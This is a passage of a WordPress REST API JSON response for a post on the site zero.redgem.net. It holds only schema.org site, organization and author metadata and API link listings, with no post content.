redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41059","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41059"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41059\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41059"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41059"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41059"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}